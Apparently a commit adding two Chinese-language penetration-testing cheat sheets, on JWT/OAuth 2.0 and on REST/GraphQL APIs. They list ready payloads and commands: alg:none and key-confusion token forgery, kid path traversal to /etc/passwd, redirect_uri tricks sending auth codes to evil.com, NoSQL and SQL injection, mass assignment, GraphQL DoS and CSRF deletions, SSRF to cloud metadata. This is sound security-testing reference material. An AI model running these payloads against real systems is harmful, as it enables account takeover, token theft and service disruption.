reverse-skills-max: initial public release (restored, redacted, hardened)

This commit is contained in:
baradok609hecl1pq6qi
2026-10-20 02:17:15 +03:00
commit da24c2bd20
2227 changed files with 443931 additions and 0 deletions

View File

@@ -0,0 +1,123 @@
# JWT + OAuth 2.0 安全测试
## JWT 攻击面
### 1. 算法混淆
```bash
# alg:none — 最经典
# 原始: {"alg":"RS256","typ":"JWT"}.payload.signature
# 攻击: {"alg":"none","typ":"JWT"}.payload. (空签名)
# RS256 → HS256 密钥混淆
# 如果服务端用 RS256 公钥做 HS256 验证
# 可以把公钥当 HMAC 密钥来签名
python3 jwt_tool.py <JWT> -X k -pk public.pem
# kid 注入
# {"alg":"HS256","kid":"../../../../etc/passwd"}
# 服务端用 kid 指向的文件内容做 HMAC 密钥
```
### 2. jwt_tool 完整用法
```bash
# 全面扫描
python3 jwt_tool.py <JWT> -t <URL> -cv "Authorization: Bearer <JWT>"
# 弱密钥爆破
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
# 声明篡改
python3 jwt_tool.py <JWT> -I -pc role -pv admin
python3 jwt_tool.py <JWT> -I -pc exp -pv 9999999999
# RSA 密钥混淆
python3 jwt_tool.py <JWT> -X k -pk public.pem
# 嵌入 JWK
python3 jwt_tool.py <JWT> -X i
```
### 3. 手工 JWT 篡改
```python
import jwt
import base64
# 解码(不验证)
header, payload, sig = jwt.split('.')
# 篡改 payload
payload['role'] = 'admin'
payload['exp'] = 9999999999
# alg:none
new_token = base64url_encode(header) + '.' + base64url_encode(payload) + '.'
# HS256 with known key
new_token = jwt.encode(payload, 'secret', algorithm='HS256')
```
## OAuth 2.0 攻击面
### Authorization Code Grant
```text
1. redirect_uri 操控
正常: https://app.com/callback?code=AUTH_CODE
攻击: https://app.com/callback@evil.com?code=AUTH_CODE
https://evil.com/?redirect=https://app.com/callback?code=AUTH_CODE
开放重定向 + redirect_uri: https://app.com/callback?redirect=https://evil.com
2. CSRF via state 缺失
无 state 参数 → 攻击者用自己的 code 绑定受害者 session
3. PKCE 缺失
无 code_challenge → 授权码拦截攻击
4. Token 在 Referer 泄漏
回调页面加载外部资源 → Referer 头包含 code/token
```
### Implicit Grant(已废弃但仍有部署)
```text
1. access_token 在 URL fragment → Referer 泄漏
2. token 在浏览器历史 → 物理访问风险
3. 无客户端认证 → token 替换攻击
```
### Client Credentials Grant
```text
1. client_secret 泄漏(前端/移动端硬编码)
2. 过度 scope 授予
3. 无 client 限速 → 暴力枚举
```
### 通用 OAuth 测试
```text
□ 测试 scope 提升: scope=read → scope=read%20write
□ Token 重放: 用旧的 access_token 访问新资源
□ Refresh token 滥用: refresh_token 无限续期
□ 跨租户访问: tenant A 的 token 访问 tenant B
□ Token 在日志/URL/Referer 中泄漏
```
## 工具
```bash
# JWT 测试
pip install jwt-tool pyjwt
# OAuth 测试
# Burp Suite + OAuth Scanner 扩展
# Postman OAuth 2.0 流程测试
# 自动化
# Entropy: 自动 JWT 篡改 + OAuth redirect_uri 测试
```
Source: OWASP API Top 10 (API2: Broken Authentication), jwt_tool, PortSwigger OAuth research

View File

@@ -0,0 +1,137 @@
# REST + GraphQL 深度测试
## GraphQL 安全测试完整清单
### 内省探测(三级降级)
```graphql
# Level 1 — 标准内省
{ __schema { queryType { name } mutationType { name } types { name fields { name type { name } } } } }
# Level 2 — 精简内省(绕过 WAF)
{ __schema { types { name } } }
# Level 3 — 最小探测
{ __type(name: "Query") { name } }
```
### DoS 攻击向量
```graphql
# 别名过载
query { a1: __typename a2: __typename ... a100: __typename }
# 批查询过载
[query1, query2, ..., query10]
# 循环查询
query { __schema { types { fields { type { fields { type { fields { name } } } } } } } }
# 指令过载
query { __typename @skip(if: false) @include(if: true) ... }
```
### 授权测试
```graphql
# GET 突变(CSRF)
GET /graphql?query=mutation+{+deleteUser(id:1)+}
# 批查询绕过认证
[
{ "query": "query { me { id } }" },
{ "query": "mutation { deleteUser(id: 2) }" }
]
```
## REST API 深度测试
### 方法操控矩阵
| 端点 | GET | POST | PUT | PATCH | DELETE | OPTIONS |
|------|-----|------|-----|-------|--------|---------|
| /users | ✓ 可访问 | 测试越权创建 | 测试批量覆盖 | 测试字段注入 | 测试级联删除 | 信息泄漏 |
| /users/me | 基准 | — | 测试自我提权 | 测试字段追加 | 测试自我删除 | — |
### 参数注入
```json
// NoSQL 注入
{"username": {"$gt": ""}, "password": {"$ne": ""}}
// 批量赋值
{"email": "user@example.com", "role": "admin", "isAdmin": true}
// 参数污染
GET /api/users?role=user&role=admin
// JSON 数组注入
{"ids": [1, 2, 3]} → {"ids": ["1 UNION SELECT ..."]}
```
### SSRF via API
```
常见 SSRF 参数: webhook_url, callback_url, avatar_url, import_url,
redirect_uri, file_url, proxy_url, image_url
测试: http://169.254.169.254/latest/meta-data/ (AWS)
http://metadata.google.internal/ (GCP)
file:///etc/passwd
```
## 自动化工具链
### Vespasian(流量驱动规范生成)
```bash
# 从无头浏览器爬取
vespasian crawl --url https://target.com --depth 3
# 从 Burp/HAR 导入
vespasian import --file traffic.har
# 导出 OpenAPI 3.0 + GraphQL SDL
vespasian export --format openapi3 --output api-spec.yaml
```
### Entropy(LLM 攻击生成)
```bash
# 基于 spec 的自动测试
entropy --spec api-spec.yaml --live --persona all
# 五种并发人格:
# - malicious_insider: IDOR/批量赋值/权限提升
# - bot_swarm: 限速绕过/DoS/自动化滥用
# - penetration_tester: 注入/认证绕过
# - impatient_consumer: 竞态条件/错误处理
# - confused_user: 意外输入/边界测试
# CI 模式
entropy --spec api-spec.yaml --ci --watch
```
### api.sh(8 阶段管道)
```bash
# Phase 1-3: GraphQL 侦察 → 利用 → 爆破
./api.sh graphql-recon https://target.com/graphql
./api.sh graphql-exploit https://target.com/graphql
# Phase 4: REST 滥用
./api.sh rest-abuse https://target.com/api
# Phase 5: WebSocket
./api.sh ws-test wss://target.com/ws
# Phase 6: SOAP/XXE
./api.sh soap-xxe https://target.com/soap
# Phase 7: 限速绕过
./api.sh rate-bypass https://target.com/api
# Phase 8: Schema 收割
./api.sh schema-harvest https://target.com
```
Source: OWASP API Top 10, Praetorian Vespasian, Entropy, FireTail GraphQL